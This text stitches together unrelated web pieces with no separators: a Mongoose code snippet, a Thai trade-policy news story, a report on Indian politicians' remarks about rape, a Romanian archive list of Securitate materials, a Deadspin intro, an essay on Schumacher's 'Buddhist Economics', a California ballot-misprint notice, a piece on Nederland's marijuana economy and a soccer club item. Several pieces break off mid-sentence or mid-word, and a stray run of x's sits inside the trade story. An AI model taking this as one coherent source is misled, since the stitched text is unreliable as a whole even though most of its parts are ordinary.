for ClickedEvent and PurchasedEvent instances. const clickedSchema = new Schema({ element: { type: String, required: true } }, { _id: false }) clickedSchema.methods.displayName = function ( ) { return ` ${this.kind} : ${this.element} ` ; }; batchSchema.path( 'events' ).discriminator( 'Clicked', clickedSchema); const purchasedSchema = new Schema({ product: { type: String, required: true } }, { _id: false }); purchasedSchema.methods.displayName = function ( ) { return ` ${this.kind} : ${this.product} ` ; }; batchSchema.path( 'events' ).discriminator( 'Purchased', purchasedSchema); const Batch = mongoose.model( 'Batch', batchSchema); const batch = { events: [ { kind: 'Clicked', element: 'Test' }, { kind: 'Purchased', product: 22 } ] }; Batch.create(batch). then(batch => console.log(batch.events.map(e => e.displayName()))); Moving On Mongoose 4.8.0 includes 13 new features (like support for the MongoDB 3.4 decimal type) in addition to embedded array discriminators. It also has some major performance improvements for documents with large embedded arrays. Make sure you upgrade and take advantage of these new improvements!Pimchanok Vonkorpon, spokeswoman for the ministry, said the Cabinet acknowledged Thailand’s draft clarification letter at its meeting last Tuesday. The US Federal Register’s Executive Order 13786 had requested comments that would be gathered for an analytical report on the US trade deficits against 13 economies. They are in descending order Canada, China, the European Union, India, Indonesia, Japan, South Korea, Malaysia, Mexico, Switzerland, Taiwan, Thailand and Vietnam. The deadline for the written responses had been next Wednesday, but the Commerce and Foreign ministries revised the draft letter according to points made by the Cabinet and the Commerce Ministry has already sent the final letter to the US agency ahead of schedule. The Commerce Ministry had been assigned by Deputy Prime Minister Somkid Jatusripitak to coordinate with both private and public agencies to collect US-Thailand trade and economic information for the clarification letter. The letter attempts to explain the facts for a good bilateral relationship along several dimensions including social, political and stability, while stressing the long US-Thai relationship of 184 years. A US-Thai treaty of amity serves as the main pillar for the relationship with discussion stages under the Trade and Investment Framework Agreement (Tifa) and the World Trade Organisation (WTO) to solve trade obstacles. According to the statement, US exports to Thailand have not expanded at a high level as the US does not have a free-trade agreement with Thailand, while US direct investment in Thailand has slowed down. The Thai products that the US imports help develop the American economy, the ministry argues. They include intermediate products \|for value to be added by US advanced technology and agricultural materials. xxxxxxxxxxxxxxxxxxxx Thailand has also invested more in the US, generating jobs for tens of thousands of Americans, while many US firms invest and operate services in Thailand. Thailand is the regional export base for several US firms and links up with US value chains in the Asia-Pacific region. Thai exports to the US reflect structural differences and mutual dependence between the Thai and US economies, the ministry said. Pimchanok said that besides factual figures on both countries’ trade and investment, Thailand explained that its trade policy adhered to the principles of a market economy, which is in line with the WTO’s tariff and non-tariff measures. Under Tifa, the two countries have held discussions particularly on the protection of intellectual property, while Thailand provides updated information and accelerates measures regarding licences, trademarks and the backlog of patent applications. Thailand has also cooperated with the US Trade Representative office to devise an IP working plan focusing on protection and legal enforcement. Thailand also presented a progress report on worker protection and labour rights. Thailand reiterated that none of its policies interferes with exchange rates to give the country an unfair export capability. The Bank of Thailand focuses on exchange-rate stability. In the letter, Thailand outlined its internal reforms, such as amending laws, including for competition and state procurement, for higher transparency, increasing stakeholders’ participation and supporting more facilitation for business operations. The “Thailand 4.0” and Eastern Economic Corridor visions will also help deepen the Thai-US trade and investment relationship, it said. Pimchanok said the clarification letter presented a good opportunity to point out the good, long Thai-US mutual relationship. After a telephone discussion between Prime Minister Prayut Chan-o-cha and US President Donald Trump, the two leaders are expected to meet and discuss issues in the future, she added.Every 21 minutes a rape is reported in India, but some of the country’s politicians still don’t take the crime seriously. As the country continues to mourn the brutal killings of two girls, ages 14 and 15, who last week were found raped and hanged from a tree, a member of the prime minister’s ruling party shared some disturbing thoughts on rape. Talking to reporters Thursday, Babulal Gaur of recently elected Prime Minister Narendra Modi's Bharatiya Janata Party said rape “is a social crime which depends on men and women. Sometimes it's right, sometimes it's wrong,“ according to The Independent. He added that rape is only considered a crime when an official report is filed. "Until there's a complaint, nothing can happen," he told reporters. The BJP said Gaur's comments did not reflect the party's viewpoint, according to Reuters. Earlier this year another Indian politician, Mulayam Singh Yadav, head of Uttar Pradesh province's governing party, excused the act of rape as a mere slip-up. In response to the country's recently introduced death penalty clause for gang rapists, Yadav said: “Boys will be boys. They make mistakes.” In response to last week’s attack on the two young girls, and growing reports of sex crimes in India, United Nations Secretary General Ban Ki-moon said he was "appalled" by the tragedy and condemned Yadav's statement about rape. "We say no to the dismissive, destructive attitude of 'boys will be boys,'" Ban said, per The Hindu. Despite the death penalty being introduced for gang rapists, assaults often go unpunished due to lax police enforcement and social stigmas against reporting the crimes. Though several human rights groups continue to raise awareness about the issue, horrific rape stories continue to make headlines almost daily. Earlier this week, a 35-year-old mother of four in northeast India was fatally shot while resisting an assault by a group of soldiers from the outlawed Garo National Liberation Army, Al Jazeera reports.BROŞURI PROPAGANDISTICE ŞI MATERIALE PENTRU PREGĂTIREA APARATULUI DE SECURITATE An Document Cota C.N.S.A.S. Nr. vol. Partea Vizualizare Dată postare 1977 România pe calea socialismului şi comunismului: cifre şi fapte Vizualizare 2015/09/29 1944 Iosif Broz-Tito - Lupta popoarelor din Iugoslavia cotropită Vizualizare 2015/07/30 1951 Materiale pentru cursurile serale de Partid dela oraşe vol. 2 Vizualizare 2014/06/12 1948 Procesul grupului de complotişti spioni şi sabotori Vizualizare 2014/09/12 1960 Să ne cunoaştem patria, materiale în ajutorul celor ce studiază în învăţământul politic U.T.M. Vizualizare 2013/05/13 1970 Agenţi demascaţi D 001500 Vizualizare 2013/02/08 1974 Gehlen, de la F.H.O. la B.N.D. D 001512 Vizualizare 2013/02/08 1981 Mâna lungă a spionajului american D 001519 Vizualizare 2013/02/08 1977 Mijloace folosite în acţiuni teroriste D 001520 Vizualizare 2013/02/08 1972 Oameni ai informaţiilor D 001521 Vizualizare 2013/02/08 1977 D.S.T. ridică vălul D 001526 Vizualizare 2013/02/08 1970 Fapte care nu se uită D 001513 Vizualizare 2013/01/23 1981 Grupări si acţiuni teroriste D 001514 Vizualizare 2013/01/23 1977 Hăituială îndelungată D 001515 Vizualizare 2013/01/23 1981 Lacrima conştiinţei D 001518 Vizualizare 2013/01/23 1982 Destăinuirile unui agent secret D 001478 Vizualizare 2013/01/16 1980 Riposte antiteroriste D 001477 Vizualizare 2013/01/16 1981 Din activitatea serviciilor secrete britanice D 001479 Vizualizare 2013/01/16 1980 Eroarea D 001510 Vizualizare 2013/01/16 1982 Joc dublu la Intelligence Service D 001506 Vizualizare 2012/12/21 1972 Complicii D 001503 Vizualizare 2012/12/21 1971 Sistemul informativ al SUA D 001493 Vizualizare 2012/12/21 1975 17 ani agent secret in Occident D 001491 Vizualizare 2012/12/21 1968 Agent secret la Damasc D 001489 Vizualizare 2012/12/21 1975 În bârlogul lupului D 001497 Vizualizare 2012/12/21 1981 Acţiunea "Fulgerul" - 90 de minute la Entebbe D 001498 Vizualizare 2012/12/21 1981 Adevărata faţă a spionajului D 001499 Vizualizare 2012/12/21 1974 Operaţiunea "Marea de chihlimbar" D 001522 Vizualizare 2012/12/21 1970 Reţeaua marelui şef D 001524 Vizualizare 2012/12/21 1976 Din tainele serviciilor secrete D 001528 Vizualizare 2012/12/21 1972 Rolul opiniei publice în prevenirea şi combaterea infracţiunilor contra securităţii statului D 001532 Vizualizare 2012/12/21 1969 Unele concluzii privind activitatea de contrainformaţii economice în domeniul prevenirii şi al urmăririi penale D 001535 Vizualizare 2012/12/21 1970 Faptele acuză D 001564 Vizualizare 2012/12/21 1971 Diversiune în eter D 001460 Vizualizare 2012/12/14 1967 Arta informaţiilor D 001472 Vizualizare 2012/12/14 1978 Vânătoarea D 001474 Vizualizare 2012/12/14 1971 Războiul de guerilă D 001465 Vizualizare 2012/12/14 1985 Spion-contraspion D 001466 Vizualizare 2012/12/14 1976 Spionaj la şcoala de echitaţie D 001475 Vizualizare 2012/12/14 1973 Şacalul D 001468 Vizualizare 2012/12/14 1970 Codificare, decodificare D 001441 Vizualizare 2012/12/12 1981 Misiune neoficială D 001444 Vizualizare 2012/12/12 1982 Maşinaţiuni din umbră D 001447 Vizualizare 2012/12/12 1971 Operaţiunea Saturn D 001452 Vizualizare 2012/12/12 1979 Consideraţii privind reprimarea terorismului internaţional D 001455 Vizualizare 2012/12/12 1978 Casa din strada Garibaldi D 001456 Vizualizare 2012/12/12 1982 "Creierul" Serviciilor Secrete D 001457 Vizualizare 2012/12/12 1977 Ce ştim şi ce nu ştim despre CIA D 001458 Vizualizare 2012/12/12 1982 Problematica actuală a acţiunilor teroriste D 008712 1 44 Vizualizare 2012/07/04 Aspecte actuale şi mutaţii în activitatea desfăşurată de serviciile de spionaj străine împotriva Republicii Socialiste România. Sarcini ce revin aparatului de contraspionaj privind cunoaşterea şi neutralizarea acţiunilor acestora D 008712 1 45 Vizualizare 2012/07/04 1987 Infracţiuni contra avutului obştesc D 008712 1 46 Vizualizare 2012/07/04 1983 Comportamentul uman în procesul judiciar D 008712 1 47 Vizualizare 2012/07/04 1989 Infracţiuni contra securităţii statului D 008712 1 48 Vizualizare 2012/07/04 1974 Culegere de acte normative în materie de paşapoarte, vize, străini, cetăţenie, controlul trecerii frontierei şi taxe D 008712 1 56 Vizualizare 2012/07/04 1976 Măsuri de prevenire şi autoapărare ce se impun a fi întreprinse faţă de preocupările serviciilor de spionaj şi ale cercurilor reacţionare din străinătate pentru a culege informaţii despre unităţile şi cadrele Ministerului de Interne D 008712 2 7 Vizualizare 2012/07/04 1970 Consiliul securităţii statului - Dosarul de cercetare penală D 001163 22 Vizualizare 2012/02/10 1970 Despre războiul de partizani D 008816 121 Vizualizare 2012/02/10 1968 Din memoriile lui Eugen Cristescu Vizualizare 2012/02/10 1970 Încercări sortite eşecului Vizualizare 2012/02/10 Îndreptarul anchetatorului penal vol. II D 001162 5 Vizualizare 2012/02/10 1971 Între Washington şi Tokio Vizualizare 2012/02/10 1977 Marile bătălii secrete ale celui de-al Doilea Război Mondial Vizualizare 2012/02/10 1968 Momente din activitatea cu A-54 D 008816 127 Vizualizare 2012/02/10 1972 Operaţia Long Saut Vizualizare 2012/02/10 1979 Pace pentru viteji Vizualizare 2012/02/10 1972 Război secret între Tel Aviv şi Cairo Vizualizare 2012/02/10 1971 Singur printre duşmani Vizualizare 2012/02/10 1971 Surmenajul cadrelor de conducere D 008712 1 39 Vizualizare 2012/02/10 1970 Vânătorul de spioni Vizualizare 2012/02/10 1971 Despre spionajul şi contraspionajul economic D 008712 1 25 Vizualizare 2012/06/08 1971 Aspecte caracteristice ale acţiunilor ostile ce pot fi întreprinse împotriva economiei naţionale D 008712 2 2 Vizualizare 2012/06/08 1971 Principalele aspecte ale activităţii desfăşurate de către serviciile de spionaj imperialiste împotriva ţării noastre D 008712 2 3 Vizualizare 2012/06/08 1972 Legislaţie privind organizarea de stat, Legea nr. 23/1971 privind apărarea secretului de stat în Republica Socialistă România, Hotărârea nr.19/1972 privind unele măsuri în legătură cu apărarea secretului de stat D 008712 1 10 Vizualizare 2012/06/08 1974 Date tehnice de referinţă pentru echipamente de prelucrare automată a datelor şi teleprelucrare D 008712 2 6 Vizualizare 2012/06/08 1975 Evidenţa legislaţiei Republicii Socialiste România D 008712 2 4 Vizualizare 2012/06/08 1976 Criterii privind recrutarea de informatori şi colaboratori pentru munca de securitate D 008712 1 19 Vizualizare 2012/06/08 1977 Aspecte ale activităţii de informaţii şi contrainformaţii puse în slujba luptei seculare a poporului român pentru apărarea libertăţii, formarea statului naţional şi cucerirea independenţei de stat depline D 008712 1 43 Vizualizare 2012/06/08 1977 Probleme ale muncii de contrainformaţii în sectoarele economice D 008712 1 29 Vizualizare 2012/06/08 1979 Infiltrarea Cazuri de folosire a acestei metode ofensive de muncă pentru cunoaşterea, prevenirea şi contracararea acţiunilor îndreptate împotriva securităţii statului D 008712 1 21 Vizualizare 2012/06/08 1980 Forme, metode, mijloace de acţiune folosite şi categorii de informaţii căutate de serviciile de spionaj şi cercurile reacţionare din străinătate în activitatea ostilă desfăşurată împotriva Republicii Socialiste România D 008712 1 11 Vizualizare 2012/06/08 1980 Sarcinile ce revin organelor de securitate pentru apărarea secretului de stat D 008712 1 22 Vizualizare 2012/06/08 1983 Aspecte din activitatea ostilă desfăşurată de elemente autohtone incitate de emisari ai unor centre şi organizaţii religioase reacţionare din străinătate. Măsuri întreprinse de organele de securitate pentru prevenirea şi contracararea acţiunilor duşmănoase desfăşurate sub acoperirea religiei. D 008712 1 12 Vizualizare 2012/06/08 1984 Catalog de filme D 008712 1 4 Vizualizare 2012/06/08 1984 Gazele naturale în perspectiva secolului XX D 008712 2 5 Vizualizare 2012/06/08 1973 Culegere de acte normative pentru uzul lucrătorilor Ministerului de Interne D 008712 1 1 Vizualizare 2012/06/15 1972 Culegere de acte normative privind imunităţile şi privilegile diplomatice şi consulare D 008712 1 2 Vizualizare 2012/06/15 1977 Culegere de acte normative în materie de paşapoarte, vize şi controlul trecerii frontierei D 008712 1 3 Vizualizare 2012/06/15 1972 Culegere de acte normative privind apărarea secretului de stat în Republica Socialistă România D 008712 1 5 Vizualizare 2012/06/15 1977 Îndrumar pe linia evidenţei şi controlului străinilor pentru uzul lucrătorilor Ministerului de Interne D 008712 1 6 Vizualizare 2012/06/15 1972 Hotărârea Consiliului de Miniştri al Republicii Socialiste România privind modul de stabilire a relaţiilor organizaţiilor socialiste şi salariaţilor acestora cu misiunile diplomatice acreditate în Republica Socialistă România, oficiile consulare, organizaţiile sau reprezentanţele statelor străine şi cetăţenii străini D 008712 1 9 Vizualizare 2012/06/15 1976 Educarea, instruirea şi verificarea informatorilor şi colaboratorilor D 008712 1 17 Vizualizare 2012/06/15 1976 Criterii privind recrutarea de informatori şi colaboratori pentru munca de securitate D 008712 1 18 Vizualizare 2012/06/15 1979 Organizarea şi desfăşurarea urmăririi informative. Acţiuni ce se întreprind în scopul prevenirii şi documentării temeinice a activităţii elementelor urmărite D 008712 1 20 Vizualizare 2012/06/15 1967 Culegere de articole apărute în ziarul "Glasul Patriei" referitoare la unele aspecte ale activităţii fostei organizaţii legionare D 008712 1 26 Vizualizare 2012/06/15 1988 Teme de doctrină militară şi exerciţii tactice D 008712 1 30 Vizualizare 2012/06/15 1971 Culegerea şi exploatarea informaţiilor D 008712 1 31 Vizualizare 2012/06/15 1979 Ghid bibliografic privind problemele muncii de informaţii şi contrainformaţii tratate în lucrările realizate pe bază de traducere, editate în Ministerul de Interne D 008712 1 7 Vizualizare 2012/06/21 1974 Decretul nr. 231/1974 privind paza bunurilor şi Regulamentul corpului de pază militarizată D 008712 1 8 Vizualizare 2012/06/21 1987 Instrucţiuni nr. D-00190/1987 privind organizarea şi desfăşurarea activităţii informativ-operative a organelor de securitate D 008712 1 13 Vizualizare 2012/06/21 1987 Instrucţiuni nr. D-00180/1987 privind activitatea de creare şi folosire a reţelei informative a aparatului de securitate D 008712 1 14 Vizualizare 2012/06/21 1988 Ordinul Ministerului de Interne nr. 02595 din 16.03.1988 privind evidenţa, păstrarea, portul şi manipularea armamentului şi muniţiilor din dotarea militarilor, subunităţilor, unităţilor, organelor şi formaţiunilor Ministerului de Interne D 008712 1 15 Vizualizare 2012/06/21 1976 Organizarea legăturii cu reţeaua informativă D 008712 1 16 Vizualizare 2012/06/21 1980 Vigilenţa şi combativitatea revoluţionară - cerinţe de bază ale activităţii cadrelor Ministerului de interne D 008712 1 23 Vizualizare 2012/06/21 1983 Asigurarea contrainformativă a activităţii desfăşurate de unităţile militare în termen D 008712 1 24 Vizualizare 2012/06/21 1977 Culegere de acte normative, îndrumări metodologice şi alte reglementări privind activitatea de servicii şi înzestrare, financiară, control financiar intern şi sanitară D 008712 1 27 Vizualizare 2012/06/21 1985 Buletinul trupelor de securitate D 008712 1 28 Vizualizare 2012/06/21 Infracţiuni contra securităţii statului, caracterizare generala, cauze, condiţii care generează ori favorizează săvârşirea faptelor îndreptate împotriva securităţii statului D 008712 1 32 Vizualizare 2012/06/21 1978 Instrucţiuni privind munca de filaj şi investigaţii D 008712 1 34 Vizualizare 2012/06/21 1968 Puterea de stat în capitalism D 008712 1 35 Vizualizare 2012/06/21 1982 Noţiuni despre cetăţenie şi regimul juridic al străinilor D 008712 1 36 Vizualizare 2012/06/21 1986 Condiţii doctrinare ale perfecţionării pregătirii cadrelor în vederea îndeplinirii cu succes a misiunilor D 008712 1 37 Vizualizare 2012/06/21 1974 Metode şi procedee practice de ascultare a învinuiţilor, inculpaţilor şi martorilor. Unele probleme privind ascultarea minorilor D 008712 1 38 Vizualizare 2012/06/21 1989 Caracterul ştiinţific al activităţii de securitate desfăşurate pentru cunoaşterea, prevenirea şi contracararea oricăror acţiuni ostile, a faptelor şi fenomenelor care pot genera sau favoriza comiterea de infracţiuni împotriva securităţii statului D 008712 1 40 Vizualizare 2012/06/21 1977 Aspecte privind perfecţionarea sistemului informaţional în Ministerul de Interne D 008712 1 41 Vizualizare 2012/06/21 1972 Iniţiere în organizarea şi proiectarea sistemelor de conducere cu mijloace de automatizare (S.I.P.A.D.) D 008712 1 42 Vizualizare 2012/06/21 1988 În umbra cancelarului D 017448 9 Vizualizare 2012/11/28 1970 Anchetatorul D 017448 10 Vizualizare 2012/11/28 1969 Războiul din umbră D 017448 14 Vizualizare 2012/11/28 1969 În spatele frontului D 017448 18 Vizualizare 2012/11/28 1970 Dosarul 51 D 017448 43 Vizualizare 2012/11/28 1989 Raporturi de muncă D 008712 1 33 Vizualizare 2012/11/28 1987 În capcana serviciilor secrete D 017448 8 Vizualizare 2012/12/06 1969 Vulturul D 017448 11 Vizualizare 2012/12/06 1969 Securitatea preşedintelui D 017448 13 Vizualizare 2012/12/06 1969 Oameni de acţiune D 017448 15 Vizualizare 2012/12/06 1969 Nu am putut fi neutru D 017448 16 Vizualizare 2012/12/06 1969 Linia Viking D 017448 17 Vizualizare 2012/12/06 1969 În avanposturi informative D 017448 19 Vizualizare 2012/12/06 1970 Şeful contraspionajului nazist vorbeşte D 017448 54 Vizualizare 2012/12/06 1973 Scoateţi otrava din ascunzişuri! D 001450 Vizualizare 2012/12/06 1973 Ofensiva spionajului economic D 001451 Vizualizare 2012/12/06 1970 Războiul nevăzut D 001453 Vizualizare 2012/12/06 1969 Reţele informative D 001464 Vizualizare 2012/12/06 1969 Un agent al F.B.I. povesteşte D 001467 Vizualizare 2012/12/06 1982 Biografie de împrumut D 001473 Vizualizare 2012/12/06 1973 Culegere de convenţii şi acorduri privind relaţiile diplomatice şi consulare, imunităţi şi privilegii în acest domeniu D 001481 Vizualizare 2012/12/06 1981 Documente privind reprimarea terorismului internaţional D 001480 Vizualizare 2012/12/06 1972 Disciplina militară - condiţie fundamentală a îndeplinirii cu succes a sarcinilor şi misiunilor ce revin Ministerului de Interne D 001483 Vizualizare 2012/12/06 1986 Flagelul stupefiantelor D 001488 Vizualizare 2012/12/06 1971 Evadarea D 001511 Vizualizare 2012/12/06 Web analyticsDead Letters Welcome to Dead Letters, the feature in which we reprint our favorite reader mail. We should take this moment to remind you that all emails to Deadspin and its editors and writers are on the record unless otherwise specified. Now for your letters. Despite winning 86 games, the St. Louis Cardinals will not play in the MLB postseason this year. It’s the first time the club has missed the playoffs since 2010. Deadspin covered the Redbirds’ performance throughout the 2016 season in a series called “Cardinal
acher the prestigious Prix Européen de l’Essai Charles Veillon award and was deemed by The Times Literary Supplement one of the 100 most important books published since WWII. Sharing an ideological kinship with such influential minds as Tolstoy and Gandhi, Schumacher’s is a masterwork of intelligent counterculture, applying history’s deepest, most timeless wisdom to the most pressing issues of modern life in an effort to educate, elevate and enlighten. One of the most compelling essays in the book, titled “Buddhist Economics,” applies spiritual principles and moral purpose to the question of wealth. Writing around the same time that Alan Watts considered the subject, Schumacher begins: “Right Livelihood” is one of the requirements of the Buddha’s Noble Eightfold Path. It is clear, therefore, that there must be such a thing as Buddhist economics. […] Spiritual health and material well-being are not enemies: they are natural allies. Traditional Western economics, Schumacher argues, is bedeviled by a self-righteousness of sorts that blinds us to this fact — a fundamental fallacy that considers “goods as more important than people and consumption as more important than creative activity.” He writes: Economists themselves, like most specialists, normally suffer from a kind of metaphysical blindness, assuming that theirs is a science of absolute and invariable truths, without any presuppositions. Some go as far as to claim that economic laws are as free from “metaphysics” or “values” as the law of gravitations. From this stems our chronic desire to avoid work and the difficulty of finding truly fulfilling work that aligns with our sense of purpose. Schumacher paints the backdrop for the modern malady of overwork: There is universal agreement that a fundamental source of wealth is human labor. Now, the modern economist has been brought up to consider “labor” or work as little more than a necessary evil. From the point of view of the employer, it is in any case simply an item of cost, to be reduced to a minimum if it cannot be eliminated altogether, say, by automation. From the point of view of the workman, it is a “disutility”; to work is to make a sacrifice of one’s leisure and comfort, and wages are a kind of compensation for the sacrifice. Hence the ideal from the point of view of the employer is to have output without employees, and the ideal from the point of view of the employee is to have income without employment. The consequences of these attitudes both in theory and in practice are, of course, extremely far-reaching. If the ideal with regard to work is to get rid of it, every method that “reduces the work load” is a good thing. The most potent method, short of automation, is the so-called “division of labor”… Here it is not a matter of ordinary specialization, which mankind has practiced from time immemorial, but of dividing up every complete process of production into minute parts, so that the final product can be produced at great speed without anyone having had to contribute more than a totally insignificant and, in most cases, unskilled movement of his limbs. Schumacher contrasts this with the Buddhist perspective: The Buddhist point of view takes the function of work to be at least threefold: to give a man a chance to utilize and develop his faculties; to enable him to overcome his ego-centeredness by joining with other people in a common task; and to bring forth the goods and services needed for a becoming existence. Again, the consequences that flow from this view are endless. To organize work in such a manner that it becomes meaningless, boring, stultifying, or nerve-racking for the worker would be little short of criminal; it would indicate a greater concern with goods than with people, an evil lack of compassion and a soul-destroying degree of attachment to the most primitive side of this worldly existence. Equally, to strive for leisure as an alternative to work would be considered a complete misunderstanding of one of the basic truths of human existence, namely that work and leisure are complementary parts of the same living process and cannot be separated without destroying the joy of work and the bliss of leisure. From the Buddhist point of view, there are therefore two types of mechanization which must be clearly distinguished: one that enhances a man’s skill and power and one that turns the work of man over to a mechanical slave, leaving man in a position of having to serve the slave. With an undertone of Gandhi’s timeless words, Schumacher writes: Buddhist economics must be very different from the economics of modern materialism, since the Buddhist sees the essence of civilization not in a multiplication of wants but in the purification of human character. Character, at the same time, is formed primarily by a man’s work. And work, properly conducted in conditions of human dignity and freedom, blesses those who do it and equally their products. But Schumacher takes care to point out that the Buddhist disposition, rather than a condemnation of the material world, is a more fluid integration with it: While the materialist is mainly interested in goods, the Buddhist is mainly interested in liberation. But Buddhism is “The Middle Way” and therefore in no way antagonistic to physical well-being. It is not wealth that stands in the way of liberation but the attachment to wealth; not the enjoyment of pleasurable things but the craving for them. The keynote of Buddhist economics, therefore, is simplicity and non-violence. From an economist’s point of view, the marvel of the Buddhist way of life is the utter rationality of its pattern — amazingly small means leading to extraordinarily satisfactory results. This concept, Schumacher argues, is extremely difficult for an economist from a consumerist culture to grasp as we once again bump up against the warped Western prioritization of productivity over presence: [The modern Western economist] is used to measuring the “standard of living” by the amount of annual consumption, assuming all the time that a man who consumes more is “better off” than a man who consumes less. A Buddhist economist would consider this approach excessively irrational: since consumption is merely a means to human well-being, the aim should be to obtain the maximum of well-being with the minimum of consumption. […] The ownership and the consumption of goods is a means to an end, and Buddhist economics is the systematic study of how to attain given ends with the minimum means. [Western] economics, on the other hand, considers consumption to be the sole end and purpose of all economic activity, taking the factors of production — land, labor, and capital — as the means. The former, in short, tries to maximize human satisfactions by the optimal pattern of consumption, while the latter tries to maximize consumption by the optimal pattern of productive effort. This maximization of “human satisfactions,” Schumacher argues, is rooted in two intimately related Buddhist concepts — simplicity and non-violence: The optimal pattern of consumption, producing a high degree of human satisfaction by means of a relatively low rate of consumption, allows people to live without great pressure and strain and to fulfill the primary injunctions of Buddhist teaching: “Cease to do evil; try to do good.” As physical resources are everywhere limited, people satisfying their needs by means of a modest use of resources are obviously less likely to be at each other’s throats than people depending upon a high rate of use. Equally, people who live in highly self-sufficient local communities are less likely to get involved in large-scale violence than people whose existence depends on worldwide systems of trade. Writing shortly after Rachel Carson’s Silent Spring sparked the modern environmental movement, Schumacher presages the modern groundswell of advocacy for sustainable locally sourced products: From the point of view of Buddhist economics … production from local resources for local needs is the most rational way of economic life, while dependence on imports from afar and the consequent need to produce for export to unknown and distant peoples is highly uneconomic and justifiable only in exceptional cases and on a small scale. He concludes by framing the enduring value of a Buddhist approach to economics, undoubtedly even more urgently needed today than it was in 1973: It is in the light of both immediate experience and long-term prospects that the study of Buddhist economics could be recommended even to those who believe that economic growth is more important than any spiritual or religious values. For it is not a question of choosing between “modern growth” and “traditional stagnation.” It is a question of finding the right path to development, the Middle Way between materialist heedlessness and traditionalist immobility, in short, of finding “Right Livelihood.” Small Is Beautiful is a superb read in its entirety. Complement it with Kurt Vonnegut on having enough and Thoreau on redefining success. Thanks, JocelynThe more than 110,000 voters within the Campbell Union High District may have noticed an error in their sample ballot and voter information pamphlet. The Santa Clara County Registrar of Voters Office announced Oct. 11 that the argument opposing the high school district’s $275 million bond measure, Measure AA, was misprinted in both distributed forms. The error is in approximately 110,805 information pamphlets sent to voters residing within the high school district serving students from Campbell, San Jose, Saratoga and Los Gatos. No official ballots are affected. According to the registrar’s office, the argument opposing the measure printed was filed by an individual voter of the district. A second argument was filed by a citizens’ organization, which should have been printed but was not due to a clerical error. “We are doing everything available we can to make sure that voters are made aware of the issue and receive the corrected information,” said Registrar of Voters Shannon Bushy in a statement released Oct. 11. To correct the issue the Registrar’s office is working to mail corrected copies of the arguments for and against the measure to every registered voter living in the district by next week. Voters who opted to receive paperless sample ballot and voter information pamphlet will be sent an email notification of the corrected electronic copy. Corrected pamphlets and sample ballots are available at early voting centers. If approved, the district’s bond measure would be used to upgrade and modernize classrooms and school facilities by removing asbestos, installing updated air conditioning and heating systems and updating electrical wiring. For more information, visit sccvote.org or call 408.299.8683In Gilpin County, for example, which begins at Nederland’s doorstep, almost one in 20 residents qualify for cannabis treatment — the highest level in Colorado and more than three times the statewide average. State law, passed by voter referendum in 2000, allows marijuana treatment for a list of maladies, from cancer to chronic pain, if a doctor verifies the need. And doctors have obliged. The sick-enough-for-marijuana pattern extends in a broad band from Nederland west through an archipelago of communities that were equally tinctured by tie-dye a generation ago and are now cornerstones of the state’s resort and tourism industry. Summit and Pitkin Counties, home to ski towns like Breckenridge, Keystone and Aspen, pride themselves on a healthy outdoor youth culture, but they also have a disproportionate amount of debilitating pain diagnosed in men in their 20s, state records show. “Who would think there would be such severe pain among young men in Colorado?” said Ron Hyman, the state registrar of vital statistics and director of the Colorado Department of Public Health and Environment’s medical marijuana program. Nederland residents like Hal Mobley, 56, who was on his way to get a haircut on a recent morning, asked pretty much the same thing. Marijuana is part of the life here, he said — no more available, no less, and no different in its use, he thinks, than it has been for decades. Photo “It’s for pain?” he said, squinting into the bright sun. Well, it is also good medicine for the Nederland town budget. Tax revenues are way up, in ways that would make many a more buttoned-down town treasurer envious — partly from more tourists spending money in the restaurants and shops, but even more so from marijuana sales. In June alone, while many communities around the nation were still sputtering through economic doldrums, sales taxes collected in Nederland came in a robust 54 percent above those of June 2009. Without the tax collected on marijuana, the increase would have been 22 percent. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. “It’s been here, probably in an illegal capacity, for a long time, but now there’s an opportunity for industry,” said Nederland’s mayor, Sumaya Abu-Haidar. “There’s an opportunity for free enterprise, an opportunity for people to make a living in a way that wasn’t available before.” Advertisement Continue reading the main story Philip Dyer, 45, a local musician, put it another way. The government, he said, “has finally gotten smart enough to regulate it and get their piece.” Supporters of medical marijuana say the pattern — medical use most predominant in places of historically high recreational use — is simply a reflection of better knowledge about the drug and its properties. People in communities where marijuana has been accepted, they say, know more about its medical benefits than those in other parts of the state where medical marijuana patients are rare. Still, residents here say that despite a kind of marijuana status quo on paper, things are changing. A demographic shift in recent years, with more families, professionals, tech workers and telecommuters moving here, has created tensions, town officials say, over questions of growth, development, tourism — and marijuana, with many of the newcomers less enthusiastic than the old guard about Nederland’s ganja-tinged reputation. Earlier this year, Nederland became the third community in Colorado to decriminalize recreational marijuana use. But the vote, mostly symbolic because recreational use is still illegal under state and federal law, deeply divided the community. Legalization passed, but by only 41 of the 477 votes cast. A proposal to hold a cannabis festival in town hit a bigger wall of opposition and was voted down. “When people think of Nederland as this stoner town, if you will, that is not accurate,” Mayor Abu-Haidar said. But the town still has a reputation for having good marijuana, a point of pride that the legal compliance lawyer for Grateful Meds, Susan Eisman, was happy to talk about during a tour of the shop. Whereas many dispensaries have perhaps five strains of marijuana to choose from, Grateful Meds has 30, and serves about 300 patients. “We have patients coming from all over Colorado,” Ms. Eisman said. “And a lot of it is the quality and quantity and the selection and the reputation. “A patient just the other day came all the way from Longmont, an hour away, because he liked a particular strain and he can’t get it anywhere else.”It has been a busy off-season behind the scenes for the newly minted Orange County Blues. The former LA Blues changed their name and relocated to Anteater Stadium on the campus of UC Irvine. Despite playing some very esthetically pleasing soccer over the last few seasons, building a large fan base has been an issue. With the club always playing in Orange County, the movers and shakers behind the scenes hope that a change in name and a new badge representing the area will give the franchise an identity with which the local public can identify. Behind the scenes, owner Ali Mansouri has brought in Jon Spencer to be the General Manager. The former UC Irvine and Kansas City midfielder knows the community well, having grown up in the area and returning to coach the Orange County Blue Stars of the Premier Development League. “We are looking to build a club that’s able to sustain itself as a professional club both here and in the USLPRO,” Spencer said in a phone interview. “We have a huge talent base right here in Orange County and it will help the youth players to develop with a professional club in their own backyard.” It will be a busy week for Spencer as the club has the majority of the team put together, but the paperwork, transfers, and visas have kept the Blues from announcing its new signings. Busy work is the name of the game right up until the club’s season opener on March 22nd against the LA Galaxy II. “The bulk of the team has been training together,” Spencer said. “We're not finished putting our team together, but we're not trying to sign a ton of players before the week ends.” The new signings are crucial as many of last year’s top contributors 